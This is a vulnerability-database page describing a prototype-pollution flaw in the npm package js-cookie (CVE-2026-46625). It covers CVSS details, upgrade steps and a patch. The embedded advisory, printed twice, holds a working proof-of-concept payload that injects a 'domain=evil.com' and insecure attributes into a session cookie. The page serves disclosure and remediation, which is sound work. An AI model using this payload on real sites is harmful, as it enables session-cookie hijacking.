Vulnerabilities in pkg:npm/js-cookie

PACKAGE
Advisory Identifier: GHSA-qjx8-664m-686j
Advisory Summary

CVE-2026-46625 is a HIGH (CVSS 7.5) per-instance prototype hijack vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting JavaScript Cookie libraries in the npm ecosystem. The issue involves per-instance prototype hijack in assign() enables cookie-attribute injection. Remediation is available by upgrading affected packages to version 3.0.7.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:npm/js-cookie

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:npm/js-cookie. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-qjx8-664m-686j CVE-2026-46625 HIGH JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection

CVE-2026-46625 at a Glance

CVE Identifier CVE-2026-46625
GHSA Identifier GHSA-qjx8-664m-686j
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected Product JavaScript Cookie
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-46625

To remediate this vulnerability, upgrade all affected JavaScript Cookie dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

js-cookie fixed: 3.0.7
npm install js-cookie@3.0.7
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls js-cookie

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-46625, inspect your project dependencies using npm:

npm ls js-cookie

Analyze the terminal output to locate any version of JavaScript Cookie in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.7), your application is affected.

Note: The npm ls js-cookie command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In JavaScript Cookie, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `js-cookie`'s internal `assign()` helper copies properties with `for...in` + plain assignment. When the source object is produced by `JSON.parse`, the JSON object's `"__proto__"` member is an *own enumerable* property, so the `for…in` enumerates it and the `target[key] = source[key]` write triggers the **`Object.prototype.__proto__` setter** on the fresh `target` (`{}`). The result is a per-instance prototype hijack: `Object.prototype` itself is untouched, but the merged `attributes` object now inherits attacker-controlled keys. Because the consuming `set()` function then enumerates the merged object with another `for...in`, every key the attacker placed on the polluted prototype lands in the resulting `Set-Cookie` string as an attribute pair. The attacker can set `domain=`, `secure=`, `samesite=`, `expires=`, and `path=` on cookies whose attributes the developer thought were locked down. ## Impact Any application that forwards a JSON-derived object as the `attributes` argument to `Cookies.set`, `Cookies.remove`, `Cookies.withAttributes`, or `Cookies.withConverter` is vulnerable. This is the standard pattern when cookie configuration comes from a backend: ```js const cfg = await fetch('/config').then(r => r.json()); Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker ``` A payload of `{"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}}` causes js-cookie to emit: ``` Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None ``` ## Affected code ```js // src/assign.mjs — full file export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable '__proto__' target[key] = source[key] // [[Set]] form - fires __proto__ setter } } return target } ``` ## Proof of concept Node 22.11.0, no third-party deps: ### Environment setup ```bash mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie ``` ### PoC ```js ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } }; const { default: Cookies } = await import('js-cookie'); const attackerAttrs = JSON.parse( '{"__proto__":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' ); Cookies.set('session', 'TOKEN', attackerAttrs); console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie); ``` Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" /> ## Suggested patch ```diff --- a/src/assign.mjs +++ b/src/assign.mjs @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] - for (var key in source) { - target[key] = source[key] - } + for (var key in source) { + if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue + Object.defineProperty(target, key, { + value: source[key], + writable: true, + enumerable: true, + configurable: true, + }) + } } return target } ``` Equivalent one-liner alternative - iterate own names only and filter: ```js for (const key of Object.getOwnPropertyNames(source)) { if (key === '__proto__') continue target[key] = source[key] } ```

CVE-2026-46625 Affected JavaScript Cookie Versions

1 component(s)
Fixed Versions:
3.0.7
Product / Package Ecosystem Affected Versions Fixed Version
js-cookie
npm
< 3.0.7
3.0.7

References

Frequently Asked Questions

What is CVE-2026-46625?
CVE-2026-46625 is a security vulnerability in JavaScript Cookie involving Per-instance prototype hijack in assign() enables cookie-attribute injection under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
Which JavaScript Cookie versions are affected?
Affected versions include releases prior to 3.0.7 across affected packages: js-cookie.
What version fixes CVE-2026-46625?
Upgrading to 3.0.7 (or the latest patched release for your respective branch) resolves the vulnerability.
Is js-cookie affected?
Yes, js-cookie is affected in releases prior to 3.0.7. Upgrade your dependency to 3.0.7 or later.
What is the CVSS score of CVE-2026-46625?
CVE-2026-46625 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-46625?
CVE-2026-46625 is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.).
How can I check npm dependencies for CVE-2026-46625?
Run the dependency tree command: 'npm ls js-cookie'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qjx8-664m-686j",
  "modified" : "2026-06-11T14:05:06Z",
  "published" : "2026-05-21T21:20:31Z",
  "aliases" : [ "CVE-2026-46625" ],
  "summary" : "JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection",
  "details" : "## Summary\n\n`js-cookie`'s internal `assign()` helper copies properties with `for...in` + plain assignment. When the source object is produced by `JSON.parse`, the JSON object's `\"__proto__\"` member is an *own enumerable* property, so the `for…in` enumerates it and the `target[key] = source[key]` write triggers the **`Object.prototype.__proto__` setter** on the fresh `target` (`{}`). The result is a per-instance prototype hijack: `Object.prototype` itself is untouched, but the merged `attributes` object now inherits attacker-controlled keys.\n\nBecause the consuming `set()` function then enumerates the merged object with another `for...in`, every key the attacker placed on the polluted prototype lands in the resulting `Set-Cookie` string as an attribute pair. The attacker can set `domain=`, `secure=`, `samesite=`, `expires=`, and `path=` on cookies whose attributes the developer thought were locked down.\n\n## Impact\n\nAny application that forwards a JSON-derived object as the `attributes` argument to `Cookies.set`, `Cookies.remove`, `Cookies.withAttributes`, or `Cookies.withConverter` is vulnerable. This is the standard pattern when cookie configuration comes from a backend:\n\n```js\nconst cfg = await fetch('/config').then(r => r.json());\nCookies.set('session', token, cfg.cookieAttrs);   // cfg.cookieAttrs influenced by attacker\n```\n\nA payload of `{\"__proto__\":{\"domain\":\"evil.example\",\"secure\":\"false\",\"samesite\":\"None\"}}` causes js-cookie to emit:\n\n```\nSet-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None\n```\n\n## Affected code\n\n```js\n// src/assign.mjs — full file\nexport default function (target) {\n  for (var i = 1; i < arguments.length; i++) {\n    var source = arguments[i]\n    for (var key in source) {                 // includes own enumerable '__proto__'\n      target[key] = source[key]                // [[Set]] form - fires __proto__ setter\n    }\n  }\n  return target\n}\n```\n## Proof of concept\n\nNode 22.11.0, no third-party deps:\n\n### Environment setup\n```bash\nmkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc\nnpm init -y\nnpm i js-cookie\n```\n\n### PoC\n```js\nubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs\nlet lastSetCookie = '';\nglobalThis.document = {\n  get cookie() { return ''; },\n  set cookie(v) { lastSetCookie = v; }\n};\n\nconst { default: Cookies } = await import('js-cookie');\n\nconst attackerAttrs = JSON.parse(\n  '{\"__proto__\":{\"secure\":\"false\",\"domain\":\"evil.com\",\"samesite\":\"None\",\"expires\":-1}}'\n);\n\nCookies.set('session', 'TOKEN', attackerAttrs);\n\nconsole.log('Set-Cookie that js-cookie wrote to document.cookie:');\nconsole.log(lastSetCookie);\n```\n\nExecution:\n<img width=\"2614\" height=\"1174\" alt=\"cls-2026-05-14-01 44 39\" src=\"https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62\" />\n\n## Suggested patch\n\n```diff\n--- a/src/assign.mjs\n+++ b/src/assign.mjs\n@@\n export default function (target) {\n   for (var i = 1; i < arguments.length; i++) {\n     var source = arguments[i]\n-    for (var key in source) {\n-      target[key] = source[key]\n-    }\n+    for (var key in source) {\n+      if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue\n+      Object.defineProperty(target, key, {\n+        value: source[key],\n+        writable: true,\n+        enumerable: true,\n+        configurable: true,\n+      })\n+    }\n   }\n   return target\n }\n```\n\nEquivalent one-liner alternative - iterate own names only and filter:\n\n```js\nfor (const key of Object.getOwnPropertyNames(source)) {\n  if (key === '__proto__') continue\n  target[key] = source[key]\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "js-cookie"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.0.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.0.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/js-cookie/js-cookie/security/advisories/GHSA-qjx8-664m-686j"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46625"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/js-cookie/js-cookie/commit/eb3c40e89731e99b8970faaf35ddad249c6c0020"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/js-cookie/js-cookie"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/js-cookie/js-cookie/releases/tag/v3.0.7"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-21T21:20:31Z",
    "nvd_published_at" : "2026-06-10T22:16:59Z"
  }
}